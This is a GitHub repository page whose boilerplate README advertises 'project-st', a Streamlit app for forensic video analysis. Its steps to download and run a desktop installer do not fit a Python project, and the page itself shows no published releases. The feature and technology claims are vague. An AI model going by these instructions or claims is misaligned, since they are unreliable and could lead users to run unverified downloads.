Skip to content

πŸ” Analyze digital videos for forensic evidence with this Streamlit app, featuring advanced tools for metadata extraction and motion detection.

Notifications You must be signed in to change notification settings

fatikani/project-st

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

9 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ₯ project-st - Easy Digital Video Analysis Tool

πŸ“₯ Download the App

Download project-st

🎯 Project Overview

This is a production-ready Streamlit application for digital forensic video analysis. It comes with built-in test automation. Our tool is designed for quick deployment, making it easy to demonstrate to clients. The interface is simple, but it offers powerful forensic capabilities.

🌟 Key Features

πŸ” Digital Forensic Video Analysis

  • Advanced Video Analysis: Extract metadata, verify integrity, and validate digital signatures with ease.
  • Motion Detection: Use AI to perform detailed motion analysis on video, examining it frame by frame.

βš™οΈ System Requirements

To run this application, you will need:

  • Operating System: Windows 10 or later, macOS, or Linux
  • Python: Version 3.8 or higher
  • Additional Software: Docker (for ease of setup), a web browser for using the Streamlit app

πŸ“¦ Topics Supported

This application leverages a variety of technologies for its functionality, including:

  • Docker
  • Flask
  • NumPy
  • OpenCV
  • OS
  • Pandas
  • pathlib
  • Pillow
  • Selenium WebDriver
  • SQLite
  • Streamlit
  • TensorFlow
  • WSL-Ubuntu

πŸš€ Getting Started

1. Visit the Releases Page

To get the latest version of the project, visit the following link:

Download and Install project-st

2. Download the Application

On the releases page, find the latest version. Click on the appropriate file to download it to your computer.

3. Install the Application

Once the download is complete, follow these steps to install:

  • For Windows: Double-click the downloaded file to start the installer. Follow the prompts to complete the installation.
  • For macOS: Open the downloaded file and drag the application to your Applications folder.
  • For Linux: Follow your distribution’s guidelines on installing downloaded software.

4. Run the Application

After installation:

  • Windows & macOS: Look for the app in your applications list. Click on it to launch.
  • Linux: Open your terminal and type the command to launch the app.

πŸŽ‰ Using project-st

1. Upload a Video

Once the app is running, you will see an option to upload video files. Click the upload button and select the video you want to analyze.

2. Analyze the Video

After uploading, the app will automatically begin analysis. You can view metadata, detect motion, and explore additional features designed for forensic analysis.

3. View Results

Once the analysis is complete, the app will display the results. You can download reports or save key findings directly from the app.

πŸ“Œ Additional Information

The application is open-source under the MIT License. This provides freedom to use, modify, and distribute the software as needed. For detailed usage instructions and support, you can consult the documentation available in the repository.

πŸ“ž Support

If you encounter any issues while using project-st, feel free to open an issue in the repository. The community is here to help.


By following these steps, you will easily set up and run the project-st application. Enjoy exploring digital forensic video analysis with our user-friendly interface!

About

πŸ” Analyze digital videos for forensic evidence with this Streamlit app, featuring advanced tools for metadata extraction and motion detection.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •